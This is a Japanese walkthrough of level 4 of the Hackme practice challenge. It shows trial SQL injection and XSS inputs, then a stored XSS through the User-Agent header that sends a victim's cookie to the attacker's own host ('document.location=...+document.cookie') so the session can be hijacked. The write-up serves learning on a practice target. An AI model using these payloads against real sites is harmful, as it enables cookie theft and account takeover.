以下、Hackmeの攻略に関するネタバレを多大に含みます。自力で攻略したいなら見ちゃだめです。
[Lv4]
1.ヒントを探す
URLやソースコードには特に手掛かりなし。
とりあえずフォームでのXSSとSQLインジェクションを試してみるか。
ID :
<script>alert("test")</script>Password :
' or 1=1--
でログインを試みる。結果は・・・
まぁ失敗ですよね。フォームから攻撃するわけではなさそうだ。
なぜだか知らないがアクセスログが表示されている。
ログインに失敗したユーザの接続元IPアドレスまたはログインに成功したユーザのユーザ名と、
ユーザが送信したUser-Agentが表示されている。
2.考える
表示されたログを読み解くと、どうやらfoobarというユーザはまだログアウトしていないようだ。
それをわざわざ明示するあたり、これはセッションハイジャックせよということなのだろう。
セッションを奪うにはターゲットとするユーザのセッションIDを知る必要がある。
セッションIDはCookieに記録されるので、どうにかしてターゲットのCookieの値を窃取すればいいわけだ。
Webアプリケーションでサニタイジングが適切に行われていなければ、
HTTPリクエストにスクリプトを混入させることでXSSを実行してCookieの値を盗み出すことができるかもしれない。
しかし、その場合に重要なのは
「XSSではクライアントPC上でスクリプトが実行される」「Cookieは通信の度にやりとりされる」
ということだ。
つまり、今回foobarのセッションIDを窃取してセッションハイジャックを成功させるには、
以下の条件をクリアしなければならないわけだな。
A :
HackmeのWebページにスクリプトを埋め込むことが可能であること
B :
Aをクリアした上で、スクリプトが埋め込まれたWebページにfoobarがアクセスし、
foobarのPCでスクリプトが実行されること
無理じゃん。
foobarは問題のために便宜的に用意されたユーザであって、実在しないんだろ。
サーバ側で実行されているプログラムのメモリダンプか何かから有効なセッションIDを探せとでも?
まさかそんな壮絶に面倒くさいことにはならないよな・・・
何か見落としてはいないだろうか。過去の問題を思い起こした。
そういえば、Lv2も解いてて少し引っかかったんだよな。
結局すごく単純な条件文でSQLインジェクションできたけど、
あれだってもっと複雑なSQL文で問い合わせたりその結果をプログラムで検証されたりしていたら、
あんなにすんなりクリアすることはできなかったはずだ。
つまるところHackmeは、今やあまり現実的でない構成に思えるほど挑戦者に親切な、
あくまでゲーム的な楽しみを提供するためのサイトなのではなかろうか・・・
とりあえず深く考えず、思いついたことを試してみようか。
条件Bはひとまず無視して、条件Aについて考えよう。
画面には、ユーザ名またはIPアドレスとUAが過去5件分表示されている。
過去5件分が表示されるということは、自分が改竄した内容が後の数人にも表示される
(=後の数人に対してXSSが有効である)可能性があるということだ。
スクリプトを埋め込めそうな箇所はないか?
ユーザ名はサーバ側で管理されているはずだから却下。
IPアドレスは、IPパケットの送信元IPアドレス部を詐称することは可能だがそうするとレスポンスを受け取れないし、そもそもスクリプトを書けるほどデータを格納できないので却下。
User-AgentはHTTPリクエストのヘッダを書き換えればいいし、簡単なスクリプトを格納できる程度のデータ量は許容される。こいつがあやしい。
3.検証する
User-Agentにスクリプトを埋め込み、それが実行できるかどうかを確認する。
HTTPリクエストを書き換える方法は色々あるが、今回はFirefoxのアドオンである『UAControl』を使った。
再度ログインしてみると・・・
・・・自分が意図したものとは違うが、XSSが可能だそうだ。
まぁ本当にできてしまうとHackmeのサイト自体が危険ってことになりかねないから、何らかのコントロールを行っているのだろう。
ログの表示を見た感じではWebページの改竄もできている?
4.Hackyou!
ではCookieの値を窃取するスクリプトを送ってみよう。
ブラウザで動作するスクリプトといえばJavaScriptだが、
自分はJavaScriptに明るくないのでどんな処理が可能なのかはよく知らない。
本当にalertとdocument.cookieくらいしか知らないからな。でもやるべきことは決まっている。
foobarがアクセスしてきた時に、そのCookieの値をこちらが管理する端末に送信させればいいのだ。
具体的には、スクリプトでWebページを移動したり読み込んだりして、パラメータにCookieの値を持つHTTPリクエストが自分の元に届けばいい。
<img src="http://{自分のIP}/a?b="+{foobarのcookie} height="1" ookie="" width="1" />とか
<iframe foobar="" height="1" ookie="" src="http://{自分のIP}/a?b="+{foobarのcookie} width="1"></iframe>
とかでもいいのかもしれないけど、JavaScriptだけを使う方がシンプルに書けそうだ。
JavaScriptでWebページを移動するには「document.location="{移動先のURL}"」と書くらしいので、これを使って次のスクリプトを送ってみよう。
これでいけそうなら一時的にサーバを稼働させて、パケットをキャプチャしてみるか。。
<script>document.location="http://{自分のIP}/a?b="+document.cookie;</script>再びUser-Agentを書き換えてログインしてみる。
すると・・・
なんかでた!!!
というかやっぱりこういう感じなのね・・・
Hackmeには挑戦用のアカウントでログインしてるからそのセッションIDは変えられないし、
これならサーバを用意しなくてもいいからね。なんかちょっと残念な具合だけどね。
いま表示された値をCookieに追加する。これも方法は色々だがFirefoxのアドオン『Firebug』を使った。
再度ログインすると・・・
Lv4クリア!
これでいいのか?って感じはするけど解けてよかった
でもどっと疲れたぞ・・・